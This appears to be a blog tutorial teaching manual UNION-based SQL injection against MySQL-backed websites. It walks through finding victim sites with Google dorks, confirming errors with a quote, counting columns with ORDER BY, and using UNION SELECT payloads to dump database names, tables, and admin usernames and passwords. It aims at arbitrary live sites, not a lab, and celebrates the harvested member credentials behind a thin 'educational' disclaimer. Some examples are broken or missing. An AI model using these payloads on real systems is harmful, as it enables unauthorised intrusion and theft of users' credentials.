How to use SQL Injection for finding vulnerabilities in websites

Before using  SQL Injection . We should know what SQL and Database are.

Database is collection of data. In website point of view, database is used for storing user ids,passwords,web page details and more.

Some Database are listed below:

  • Database servers
  • MySQL(Open source)

Definition from Complete reference:

SQL is a database computer language designed for the retrieval and management of data in a relational database.

SQL Stands for Structured Query Language. In order to communicate with the Database ,we are using SQL query. SQL is a standard language for storing, manipulating and retrieving data in databases . SQL also called  Query language because we are querying the database.

Some Simple Basic Queries for SQL listed below:

Select * from table_name ;

this shows us the content of tables including their column name also.


select * from myfile;


Insert into table_name(column_names,…) values( values for columns );

This is used For inserting data to table.


Insert into myfile(username,user id) values(“daniel”,”324879”);


Now We Discuss About SQLi:

What is SQL Injection?

SQL Injection (SQLi) refers to an injection attack where in an attacker can execute malicious SQL statements (also commonly referred to as a malicious payload) that control a web application database server (also commonly referred to as a Relational Database Management System – RDBMS). Since an SQL Injection vulnerability could possibly affect any website or web application that are using  SQL-based database, the vulnerability is one of the oldest, and most dangerous webapplication vulnerability.

What can a intruder do?

  • ByPassed Logins
  • Accessing Sensitive data
  • Modifying data of websites
  • DDOs  the My SQL server

Now let’s Start actual procedure for the SQL Injection.
Follow these steps:

Step 1: Finding Vulnerable Websites:
best search engine for SQL injection is Google. We can find the Vulnerable websites using Google Dork list. We can use tricks to search on google . But we are going to use “inurl:” command for finding the vulnerable websites.

Here are some tricks to find vulnerable websites


inurl:” we can use any text which we want to find and then use” ?id=

Now question comes that how to use them

Copy or enter one of the above command and paste in the google search engine box.
press enter.
You will see a list of websites
Now We have to visit the websites one by one for checking the vulnerabilities.

So open the websites in a new tab.

sql injection using inurl:index.php?id=

Note:if you like to hack particular website,then try this: dork_list_commands
for eg: inurl:index.php?id=

Step 2: Checking the Vulnerability:
Now we should check the vulnerability of websites. In order to check the vulnerability ,add the single quotes(‘) at the end of the url and hit enter. (No space between the number and single quotes)

For eg:'

If the page remains in same page or showing that page not found or showing some other webpages. Then it is not vulnerable.

If it showing any errors which is related to sql query,then it is vulnerable. Cheers..!!
For eg:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

Step 3: Finding Number of columns:
Now we have found the website is vulnerable. Next step is to find the number of columns in the table.
For that replace the single quotes(‘) with “order by n” statement.(leave one space between number and order by n statement)

Change the n from 1,2,3,4,,5,6,…n. Until you get the error like “unknown column “.

For eg: order by 1 order by 2 order by 3 order by 4

change the number until you get the error as “unknown column”

if you get the error while trying the “x”th number,then no of column is “x-1”.

I mean: order by 1(noerror) order by 2(noerror) order by 3(noerror) order by 4(noerror) order by 5(noerror) order by 6(noerror) order by 7(noerror) order by 8(error)


so now x=8 , The number of column is x-1 i.e, 7.

Sometime the above may not work. At the time add the “–” at the end of the statement.
For eg: order by 1--

Step 4: Displaying the Vulnerable columns:
Using “union select columns_sequence” we can find the vulnerable part of the table. Replace the “order by n” with this statement. And change the id value to negative(i mean id=-2,must change,but in some website may work without changing).

Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).

For eg:
if the number of columns is 7 ,then the query is as follow: union select 1,2,3,4,5,6,7--

If the above method is not working then try this: and 1=2 union select 1,2,3,4,5,6,7--

It will show some numbers in the page(it must be less than ‘x’ value, i mean less than or equl to number of columns).

Like this:

sql query empty
sql injection

Now select 1 number.
It showing 3,7. Let’s take the Number 3.

Step 5: Finding version,database,user
Now replace the 3 from the query with “version()”

For eg: and 1=2 union select 1,2,version(),4,5,6,7--

It will show the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg: and 1=2 union select 1,2,database(),4,5,6,7-- and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this: and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the Table Name
if the version is 5 or above. Then follow these steps.  Now we have to find the table name of the database. Replace the 3 with “group_concat(table_name) and add the “from information_schema.tables where table_schema=database()”

For eg: and 1=2
union select 1,2,group_concat(table_name),4,5,6,7 from
information_schema.tables where table_schema=database()--

Now it will show the list of table names. Find the table name which is related with the admin or user.

sql tables shown
sql tables

Now select the “admin ” table.

if the version is 4 or some others, you have to guess the table names. (user, tbluser).  It is hard and bore to do sql inection with version 4.

Step 7: Finding the Column Name

Now replace the “group_concat(table_name) with the “group_concat(column_name)”

Replace the “from information_schema.tables where table_schema=database()–” with “FROM information_schema.columns WHERE table_name=mysqlchar–

Now listen carefully ,we have to find convert the table name to MySql CHAR() string and replace mysqlchar with that .

Find MysqlChar() for Tablename:
First of all install the HackBar addon:
select sql->Mysql->MysqlChar()


This will open the small window ,enter the table name which you found. i am going to use the admin table name.
hackbar enter table name
click ok

Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.

Copy and paste the code at the end of the url instead of the “mysqlchar”
For eg: and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)–

Now it will show the list of columns.
like admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..

Now replace the replace group_concat(column_name) with group_concat(columnname,0x3a,anothercolumnname).

Columnname should be replaced from the listed column name.
anothercolumnname should be replace from the listed column name.

Now replace the ” from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)” with the “from table_name”

For eg:
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

Sometime it will show the column is not found.
Then try another column names

Now it will Username and passwords.


If the website has members then jock-bot for you. You will have the list of usernames and password.
Some time you may have the email ids also,enjoy you got the Dock which can produce the golden eggs.

Step 8: Finding the Admin Panel:
Just try with url like:


This is just for educational purpose only. Discussing or Reading about thief technique is not crime but implementing is a big crime.

this article is dedicated to : cybernauttech . The one who taught me hacking and also dont forget to check list of total number of languages in the world

Leave a Reply

Notify of